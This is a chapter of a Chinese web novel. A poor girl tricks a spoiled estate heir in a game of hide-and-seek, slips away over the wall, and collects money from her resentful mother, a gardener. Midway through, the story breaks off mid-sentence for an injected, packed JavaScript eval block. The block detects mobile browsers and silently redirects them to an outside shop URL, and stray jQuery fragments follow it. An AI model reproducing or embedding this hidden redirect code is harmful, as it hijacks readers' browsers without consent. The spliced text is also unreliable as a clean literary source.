“你真的叫梅洛?”男孩还是在哭,但哭声小了一些。
他微微抬起脸观察卡蜜拉,卡蜜拉脸上的表情无懈可击。
“当然,我就叫做梅洛。上次骗了你是我不对,这次没有骗你,你要信我。嗯,我们来交换名字怎么样?你知道我叫梅洛,我却不知道你的名字,这不公平。你叫什么?”
男孩脸上又露出恼火的神情来,他嚷嚷:“你怎么回事啊!你连本少爷的名字都不知道吗?”
“从你嘴里听到你的名字,总比从别人嘴里听到好吧?你真的不告诉我吗?”
“……哼,”他勉强接受了这个解释,鼻翼翕动,哼了一声,“告诉你也无妨。本少爷是蓝宝·埃克塞特。”
“好,蓝宝。那我们这就算认识了。你可以放开我了吗?”
“不可以!”他说,“你还没有告诉我你是从哪儿来的。你绝对不是端盘子的,你也不是庄园里的人,不然你肯定知道我的名字!我说得对不对?”
他说这些话的时候带些得意,扬起的脸上还挂着晶莹的泪珠。不知道的还以为他说出了什么惊天大推理。卡蜜拉扶额:“对,对,你说得对。好吧,我告诉你我是哪儿来的:我是从后门进来的。”
“后门?你走那里干什么,你为什么不走前门?”他问。
卡蜜拉说:“前门不欢迎我呀。他们把我拦在外面不给我进门。”
他就生气了。他真的很容易生气。他提高嗓子问:“谁敢不欢迎你?!告诉我,我要把他辞退!”
卡蜜拉觉得他真是不知人间疾苦,难道他没发现她身上的裙子是粗布吗?她身上也没有佩戴任何称得上价值的饰品。埃克塞特庄园的大门,只欢迎有价值的贵宾。皇室、贵族、富商、政要、军官,他们的数量如此之多,几乎能将庄园的门槛踏破。他们尚且会被排查在外,何况她一个看起来就贫穷的小孩?
“我的父母是从后门送菜来的摊贩,”她耐心地说,“上次是我第一次来庄园,我太好奇啦,所以我就到处乱走。没想到遇到了你。嗯,我上次骗了你也是因为我是偷偷闯进来的,我怕他们把我抓进监狱里……”
她一边说一边摸了摸还抱着她脖子不肯松开的男孩的脑袋,手感毛茸茸:“我向你道歉。这样可以了吧?”
“还不可以,”他说,“你刚才说你讨厌我。”
一提起这个话题,他又有要呜呜呜的架势。卡蜜拉不想再被他的眼泪淹一次,就说:“我刚才是乱说的,因为你乱发脾气吓到了我,我才那么说。其实我不讨厌你。”
蓝宝问:“你说的是真的吗?”
卡蜜拉说当然啦,他就说还不够,不够!他呜呜地收紧手臂,卡蜜拉感觉自己变成了一株正被菟丝子交缠的植物,不同的是后者大部分能够继续存活,而她马上就要被缠死啦。她只好说我不讨厌你,不仅不讨厌你,我还喜欢你,喜欢你——我特别喜欢你。
他这才稍微松开了手臂,退开了一点距离。他仔细看她脸上的表情,好像想就此判断她是否说谎。
“你再说一遍!”他又找回了那股昂扬的气势,命令道。
“我喜欢你,特别喜欢你。梅洛特别喜欢蓝宝。”卡蜜拉说,“可以放开我了吗?”
“哼!”他终于满意了,松开了她。他脸上仍然挂着泪珠,看上去有点可怜,但他那副高傲的姿态完美弥补了这一点。他说:“那,作为补偿,你今天下午要陪着我!”
这可不行,她哪有那么多时间啊?卡蜜拉马上又有点不耐烦了,她说:“可是,如果我被发现了的话,会被抓进监狱的。”
“你是本少爷的人,谁敢把你抓走?”他说。
卡蜜拉马上又说:“那,我这次也是偷跑过来的,我怕我太久不回去,我爸爸妈妈会担心……”
“这个也好办,”他马上说,“告诉我,你父母是谁。我让佣人去把他们叫过来。他们会感恩戴德的。”
他用一种施恩的语气说话,脸上的神情很欠揍。但不管从哪个方面来看,他其实都没说错。如果一对摊贩夫妇突然得知他们的女儿被埃克塞特的小少爷看中了眼,一定会高兴地昏厥过去,然后醒来的第一件事就是把女儿送给这位小少爷。
哪怕他只是留她在身边当个小女佣,小物件,她也会过上比从前优渥百倍的生活。这幸运的夫妇又怎会不感恩戴德?
唯一的问题是卡蜜拉的爸爸在天堂,妈妈在花园的另一角。她从哪里变出一对父母来?她手疾眼快抓住了走向大门、准备去呼喊佣人的男孩,说:“我是刚刚才过来的,还没过去多少时间呢,爸爸妈妈他们暂时还不会担心我。可是,如果现在去找我的爸爸妈妈,一定会浪费我们待在一起的时间。这样吧,我们先玩游戏吧!玩完之后再去找他们,怎么样?”
她的话很合他的心意,小少爷高高兴兴地同意了。卡蜜拉被他牵着手到了凉亭里,她问他平时玩些什么游戏。
“纸牌、下棋、木偶人,”他期待地说,“你想玩哪个?”
卡蜜拉说:“可是我不会玩纸牌也不会下棋,木偶人我也不喜欢。”
“那你喜欢什么?”
男孩脸上的泪迹半干,他询问卡蜜拉的意见。卡蜜拉露出思考的神色,他就注视着她乱糟糟头发下漂亮的脸,和那双大大的眼睛。他一边看,一边在心里想,哼!那群人还说什么“不可能有人的眼睛像葡萄”,这不就有了吗?那群人真是孤陋寡闻!
卡蜜拉还没有想出来,他就又想到了什么,跳了起来。卡蜜拉奇怪地看着他,他说:“你在这里等着我,不许跑!”
卡蜜拉点点头,看着他跑出凉亭,跑到了那被他挥霍得可怜的花丛边。他再一次将手伸向它们,只不过这次的动作一点儿也不粗鲁,他挑选所剩无几的漂亮的花苞,把它们摘下来,还有一些枝条。
过了会儿,他抱着它们跑了回来,卡蜜拉问他想做什么,他用傲慢的语气说你等会儿就知道了,然后开始吭哧吭哧地动手。
他干了一会儿,卡蜜拉才看出来他是要编花环。这小少爷一定没干过这事儿。他的动作很笨,总是不小心弯着的枝叶折断,没过多久桌子上就多了很多零碎的叶子和花瓣。
似乎注意到卡蜜拉调侃的目光,他红着脸抬起了头,气急败坏地说:“你居然敢嘲笑本少爷!”
“我没有,”卡蜜拉摇了摇头,她交叠双臂,趴在了桌子上,半张脸埋在手臂间,露出一双眼睛看着他的动作,“你是编给我的吗?”
男孩和她对视了一会儿,脸更红了,他嚷嚷:“谁说是给你的,你这家伙别自作多情了!”
“诶,可是我很想要一个花环。我还以为蓝宝会送给我一个呢。到时候我戴着它回家去,别人问我这是哪儿来的,我就可以说这是蓝宝送给我的啦。”
蓝宝顺着她的话想了想,脸色肉眼可见变得开心起来。不过,他说:“我才不要你回家!等见了你爸爸妈妈以后,我要把你买下来!你以后都要待在本少爷身边!”
好霸道的话,而且他还真能做到这事儿。卡蜜拉暗暗咋舌,然后说:“好吧,你都那么说了,我也没办法啦。所以花环是送给我的吗?”
蓝宝说:“看在你那么听话的份上,赏给你也不是不可以。”
小少爷头回编花环,编得可认真。虽然因为笨拙、不熟练而弄得有点狼狈,但凭着微薄的记忆,最后戴在卡蜜拉头上的,仍然是一顶称得上漂亮灿烂的花环。
“你的头发好乱,”他把花环放在她脑袋上调整角度的时候嘟囔,“你从来不梳头么?”
卡蜜拉摇头说:“我对我的头发没办法。这样很难看吗?”
她一边说,一边伸手去摸头上的花环,乱糟糟的棕色头发披散下来,在阳光下揉晕出金色的光来。她摸到花环了,觉得不错,便笑了笑,葡萄一样的大眼睛弯起来,蓝宝觉得她好像一只小熊。
“……不难看,”他撇开了头说,“只要梳直了就可以了。哼,有本少爷在,还能让你对头发没办法吗?”
虽然他们才认识不久、交往的频率少得可怜,但这位少爷显然自顾自把卡蜜拉规划进了他的未来里。这段未来能够持续多久,小少爷自己浑然不知。卡蜜拉倒是很清楚:这种事情根本不会发生啦,她又不是真的叫梅洛!
她和小少爷说了会儿话,主要是夸他的手艺好,编的花环漂亮。在他被她夸得飘飘然之后,卡蜜拉说:“我们来玩游戏吧!我要戴着花环和你玩我最喜欢的游戏!”
“你最喜欢的游戏?”
“嗯,我最喜欢玩捉迷藏了。这个花园那么大,也很适合玩捉迷藏。你陪我一起玩好不好?”
“捉迷藏是什么?”
看来他没有玩过这个,卡蜜拉给他解释规则:“就是我们两个人,其中一个当猎人,一个当猎物。游戏开始的时候,猎人闭上眼睛数三十秒,在这三十秒里,猎物要把自己藏起来。数完数猎人就可以开始抓人,抓到猎物就是猎人赢了。”
“那没有抓到猎物的话,就是猎物赢了?”蓝宝说。
“对,第一局你想当猎人还是猎物?”
蓝宝眼珠一转,说:“我要当猎物!”
卡蜜拉说好,就转过身去用手捂住了眼睛,大声说:“你快点去藏起来吧,我要开始倒数了。三十、二十九、二十八……”
她听到身后传来窸窸窣窣的动静,花园里的花草叶子被刮蹭的声音,脚步声,还有一些从很远的地方传来的鸟叫声。
“……三、二、一!我要来抓你啦!”
卡蜜拉宣布着,从凉亭的台阶上跳下来。她开始在花丛里逡巡,不时用手拨开茂密的草丛。当她走到花园的一个角落里的时候,她听到叶子突兀地晃了一下。
她看过去,发现了小少爷衬衣的一角。她一下子就笑了,不过没让笑声溜出来。“在哪里呢……好奇怪,在哪里……”她故意用焦躁的声音说,然后左右挪动脚步,有几次,她好像准备离开这片区域了,但她还是走了回来。
在拉锯中,卡蜜拉听到叶子又晃了一下,然后衬衣的一角收了回去。卡蜜拉大大地“咦”一声,走过去。她弯腰低下头,拨开叶子,然后露出大大的笑容:“我抓到你了!我赢啦!”
草丛里露出了小少爷的脸,他五官满是不服气的神态:“我还没有准备好呢!我才没有输!”
“你不许耍赖,”卡蜜拉使劲儿拽他的手臂,把他拖出来,“这次轮到你当猎人了!”
“当就当,哼!”蓝宝说着,跑到了凉亭里,他捂住了眼睛,说他要开始倒数了。
“你不许偷看我藏的位置,”卡蜜拉说。
蓝宝说我才不偷看呢!但你也不许跑掉!
卡蜜拉知道他因为上次的事心生警惕,虽然被她哄好了,可心里还有顾忌。她说我才不会偷偷跑掉,但我会藏在一个你找不到的地方——然后她就被找出来了。
“我刚才也没有准备好!”卡蜜拉说,“再来!”
他露出得意的神色:“轮到你当猎人了!这次本少爷可不会输给你!”
他们连着玩了五六轮,卡蜜拉躲藏的时间越来越长。又一次轮到她当猎物,她转转眼珠,故意说:“我想到了一个特别隐蔽的地方,这次你绝对找不到我。”
他扬起下巴:“我才不信呢!等着吧,本少爷很快就会把你抓住的!”
说着他就跑到凉亭,背过身去开始倒数。几乎是他喊“三十”的瞬间,卡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802802|210661||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蜜拉拔腿跑向围墙。她的动作流畅,速度飞快,身上蓝色的布裙像一片云,裙摆随着她的动作而翻滚,托举着她,让她像只凭空起飞的小鸽子,当她翻过围墙时,蓝宝堪堪倒数到“一”,蓝色的裙摆在围墙上的天空里稍纵即逝地划过,她在这过程里几乎没有发出任何声音。
她从花园翻到了庄园外,接着不敢耽误,直接跑向后门。值得庆幸的是,这个时间段来送货的小贩很多,负责采购的佣人忙得不可开交,其他人也不得不维持秩序。没人注意到卡蜜拉出现,她出现在墙角,接着嗖地爬上了墙。
“嘿,你看,那是不是卡蜜拉?”
卖橙子的老板揉了揉眼睛,去拉自己身旁的伙伴。但当他们一起转头再看过去的时候,那片墙头空无一物,什么也没有。
“卡蜜拉怎么会在这里?”另一个老板说,“这段时间她进不去庄园,我看她是去找其他孩子玩了。”
就在卖橙子的老板以为自己眼睛花了的时候,卡蜜拉潜进了南希的屋子里。
这段日子南希过得很糟心。她和另外几个园丁负责花园的工作,原本这是件清闲而体面的工作。但事情从一个月前开始变得不对劲,埃克塞特少爷突然闹起脾气,而撒气的对象是花园的众多植物。任南希再如何呵护它们,花草也飞快变得零落稀疏,为此他们几个园丁都胆战心惊,生怕哪天埃克塞特老爷到了花园,发现他们工作不尽心,直接把他们辞退。
除了工作上的事,南希的情感生活也一塌糊涂。她和布尔德在一起有三年时间了,她早知道布尔德是有妇之夫,他不仅有妻子,还有两个孩子,但她不在乎。布尔德作为庄园的管家,掌管着庄园的资金流动,他出手阔绰,对南希很好,南希愿意当他不见光的情人一辈子。
可她怎么也没有想到,那天布尔德将她带到无人的地方,她热情地扑上去想要吻他,他的第一句话却是:“我们分开吧。”
他厌烦她了!他居然如此绝情!南希不可置信地看着布尔德,昔日呵护体贴的情人此刻面容冷淡:“我会给你一笔钱。不要和任何人说我们之间有过关系,如果你还想在这里工作的话。”
因为这件事,南希被打击得魂不守舍,工作也越发懈怠。其他几个园丁本来就对她继承了丈夫的工作而不满,这下找到把柄,更是狠狠地告了她的状。布尔德私底下又来找了她一次,提醒她不要表现得那么明显,否则他就只能不顾往日的情面,应下那几名园丁的告状,向老爷提议将她给辞退了。
南希先是被情人分手,接着往日温柔体贴的情人就对她露出了狰狞冷酷的真面目,偏偏他的威胁又很有用,南希不能承受丢掉这份工作的代价。她心乱如麻,哪里还敢再说什么。而这几天,少爷总要去一个人在花园里待着,南希被赶出花园,就只能待在自己的屋子里黯然神伤。
有了这样的前情提要,就不难理解卡蜜拉进门的时候她有那么大的反应了。南希瞪大眼睛,尖叫:“你为什么又来了?!”
卡蜜拉:“妈妈,你确定每次见我都要问一次这愚蠢的问题吗。”
南希不可置信地看着她,好像她是一只能随意穿梭时空的魔鬼。突然,她看到了她头上戴着的花环,她紧紧地盯着它:“你——你!那不是花园里的花吗?!”
“你认出来了啊,”卡蜜拉摸了摸花环,把它拿了下来,承认道,“我刚才去了一趟花园。花就是从那里摘的。”
南希的声音紧张得变了形:“你去了花园?谁让你去的?”
卡蜜拉骄傲地说:“我让我自己去的。我想去哪里就去哪里,还需要谁允许吗?妈妈,你还不许我来你这里呢。”
南希这次没有马上痛骂她,而是急迫地追问:“你有在花园里遇到谁吗?有没有遇到小少爷?你……你有没有说你是我的女儿?”
卡蜜拉不耐烦地说:“我谁也没遇到。我在花园里摘了些花就走了。你那么紧张干什么,妈妈?”
南希这才松了口气,她很快反应过来,恼怒道:“你怎么能随便闯进花园里!那是私人领地,你闯进去就会被当成贼的你知道吗?!你会连累我,会害得我丢了这份工作!你是想害死我吗!你这个该死的讨债鬼!”
卡蜜拉对她劈头盖脸的责骂无动于衷,她笑嘻嘻地说:“这不都是你的错吗,妈妈?你不回来给我钱,我只能来找你;我来到了大门口,却没有人认识我,他们不让我进来,那我只能偷偷闯进来。好了,妈妈!别说废话了,你该给我抚养费了。”
南希瞪着她,真想伸出两条手臂放在她的脖子上将她给掐死。事实上南希从前就已尝试过这事儿。只不过卡蜜拉小的时候,她的父亲总是护着她;而等到可怜的园丁去世,卡蜜拉已经五岁了,她跑得快,人又灵巧,南希追不上她,总是拿她没办法。
现在卡蜜拉已经七岁,她看起来更加健康,更加壮实了。她身高才四英尺左右,却很有力气,南希想要对她动手,只会被她狠狠反击。
南希的脸色黑得可以滴水,但卡蜜拉完全不在乎,南希越生气,她越高兴唷!女孩把花环放到桌子上,坐到桌边,等着南希从床头的柜子里给她拿钱。说实话,她就是故意的,所以,在南希行动的时候,女孩哼着歌,晃着腿。两只细长的白皙的小腿在蓝裙下一摇一摇,她看上去是那样得意,那样可爱,简直让喜欢她的人情不自禁露出微笑。
然而,南希厌恶惯了她这幅模样,取出钱扔过去的时候,她用尖利的声音说:“滚!快点滚!别再让我见到你!”
“妈妈,下个月见,”卡蜜拉对她露出一个甜美的笑容。她本来想重新把花环戴回头上,但这时,门外传来了脚步声,她把钱收起来,就顾不上花环了,女孩直接跑到窗边,翻窗而出。